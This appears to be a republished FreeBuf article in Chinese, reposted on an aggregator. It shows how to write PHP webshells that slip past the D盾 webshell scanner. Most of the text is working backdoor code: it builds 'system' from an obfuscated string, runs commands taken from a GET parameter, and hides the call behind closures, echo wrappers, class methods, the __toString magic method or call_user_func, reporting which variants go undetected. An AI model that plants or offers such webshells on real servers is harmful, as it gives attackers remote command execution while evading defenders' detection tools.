15

巧用匿名函数绕过D盾

 4 years ago
source link: https://www.freebuf.com/articles/web/229649.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

之前看了smile大佬的webshell绕过,跟着smile大佬的思路,自己来挖掘了一下绕过D盾的方式

附上链接 https://www.anquanke.com/post/id/197631

这篇文章中,smile大佬提到了非常多的绕过D盾方式,我就不重复了,我在这里主要是利用了匿名函数来绕过D盾

在p神的博客中,找到了这么一个图片

https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

QbQJBnv.jpg!web 对常见的webshell进行了一下分类,我主要是利用了一个system 构造了一种命令型的webshell,

匿名函数

匿名函数也叫闭包函数,允许临时创建一个没有名字的函数,经常用作回调函数

<?php
$greet = function($name)
{
    eval($name);
};
$greet($_GET['name']);

会被D盾检测出来,已知后门,这里参数$name是动态获取的,但是eval不是,并且eval是一个语言构造器,不是函数,不能被可变函数调用,所以改eval为system

把函数改成动态获取的形式

<?php
$greet = function($method,$arg)
{
    $method($arg);
};
$greet($_GET['method'],$_GET['arg']);

会报一个级别1的风险

FJNF3eM.jpg!web

尝试把两个GET参数都放到函数内,再加一个substr混淆

<?php
$greet = function($arg)
{
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$greet();
?>

这次还是报了一个变量函数

JJfAJzq.jpg!web

到这就明白了 应该是$greet这个变量函数被D盾检测出来了,不是参数的原因,再进一步分析,应该是$greet() 被当作了可变函数,导致了被D盾检测出来

echo绕过

用echo括号绕过一下

<?php
$greet = function()
{
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo ($greet)();
?>

RRBNFnI.jpg!web

改匿名函数为普通函数

刚刚前面的检测是因为可变函数,导致了webshell被检测,直接用普通的函数,不使用匿名函数

<?php
function greet()
{
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
greet();
?>

iE3mieb.jpg!web

再加一个中间值$a

<?php
function greet()
{
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$a='greet';
echo ($a)();
?>

bymu22Q.jpg!web

依然能够绕过

改变量为数组

匿名函数可以赋值给一个变量,同样也可以赋值给数组中的一个元素

<?php
$array['func'] = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']();

D盾爆出可变函数

baMZV3I.jpg!web

前面是在$greet上做了一些改变,下面再去改一下$array['func']()

加上注释符

<?php
$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
$array['func']/*5555*/();

还是会爆出级别1的威胁

R3aQJz7.jpg!web

D盾应该也会去忽略注释的内容

回到之前的用echo 输出一下

<?php
$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
echo ($array['func'])();

这就绕过了D盾

emuieaJ.jpg!web

和刚刚的使用变量名来接收一个匿名函数一样,都是因为可变函数的原因,阻碍了我们构造webshell,

验证一下

把最后的调用可变函数这一步改成

$aa();

$aa是一个没有任何值的变量,D盾同样会报级别1的威胁

Zj2uIn6.jpg!web

根据$aa()这里,可以得出D盾没有去回溯$array['func']这个数组变量,因为如果D盾回溯了这个$aa()变量,会检测到这个$aa()是一个空的函数,没有定义。也就不会报错了

前面用的是echo,换成print同样可以绕过

print ($aa)();

小结

上面的绕过方式,总结一下,还是利用了echo ()() 这种方式绕过了D盾,估计D盾把echo 后面的内容当作了字符串,正常情况下eval($_POST['a']); 是直接报级别5的,但是加上了echo 之后,报的就是级别4,看来echo还有给D盾将一个风险级别的功能

深入绕过

前面利用可变函数,其实就是为了调用构造的匿名函数,可以有两种绕过的方式

第一种:换一种调用匿名函数的方式

第二种:换掉匿名函数,比如上面直接使用了一个普通函数

接下来就去php官方文档上看了一下匿名函数的介绍,找到一个例子

https://www.php.net/manual/zh/functions.anonymous.php

直接调用匿名函数

匿名函数还有一种表达方式,不用赋值,直接调用,仅在php7里可以调用

<?php
(function($arg){
        $method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
    })($_GET['arg']);
?>

jmaeqm7.jpg!web

类绕过

在面向过程的语言里,函数就叫函数,但在面向对象的语言里,函数还有另一种叫法,方法

通过构造一个类的方法,说不定就能绕过D盾的检测

类的方法

匿名函数可以放在方法的返回值中,构造一个方法来调用,这时候D盾把$b(),当作一个方法,从而绕过可变函数的检测

<?php
class Test
{
    public function testing()
    {
        return function() {
            $method='sysatem';
            (substr($method,0,3).substr($method, 4))($_GET['arg']);
        };
    }
}
$a=new Test();
$b=$a->testing();
$b();
?>

可以绕过

rqMbimY.jpg!web

赋值给变量

也可以不放在函数的返回值中,直接把匿名函数赋值给一个变量,更方便一点

<?php
class Test
{
public $greet;
public function __construct () {
            $this->greet = function () {
            $method='sysatem';
          (substr($method,0,3).substr($method, 4))($_GET['arg']);
            };
        }
}
$a=new Test();
//var_dump($a->greet);
$b=$a->greet;
$b();
?>

r2MNreQ.jpg!web

利用魔术方法

利用上之前的echo函数,把一个对象当作字符串输出,可以触发__toString魔术方法,还可以利用上其他的魔术方法,__call __set __get等

<?php
class Test
{
    public function __toString()
    {
        $method='sysatem';
        (substr($method,0,3).substr($method, 4))($_GET['arg']);
        return '1';
    }
}
$a=new Test();
echo $a;
?>

yqUrU3B.jpg!web

回调函数

简单来说,当给一个函数传入参数时,传入了一个函数作为参数就叫函数回调

使用回调函数换掉可变函数,调用匿名函数

call_user_func

<?php
$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
call_user_func($greet)

AjUJNzQ.jpg!web

数组赋值

$greet 赋值给数组,也可以执行

<?php
$greet = function(){
$method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
};
$array['func']=$greet;
call_user_func($array['func']);

同样可以绕过

总结一下:

主要是利用了匿名函数的一些构造方式,执行代码的核心点还是(substr($method,0,3).substr($method, 4))($_GET['arg']); 没有变过

主要是在可变函数这里展开了一些绕过方式,让D盾检测不出来

*本文原创作者:p1k3m4n,本文属于FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK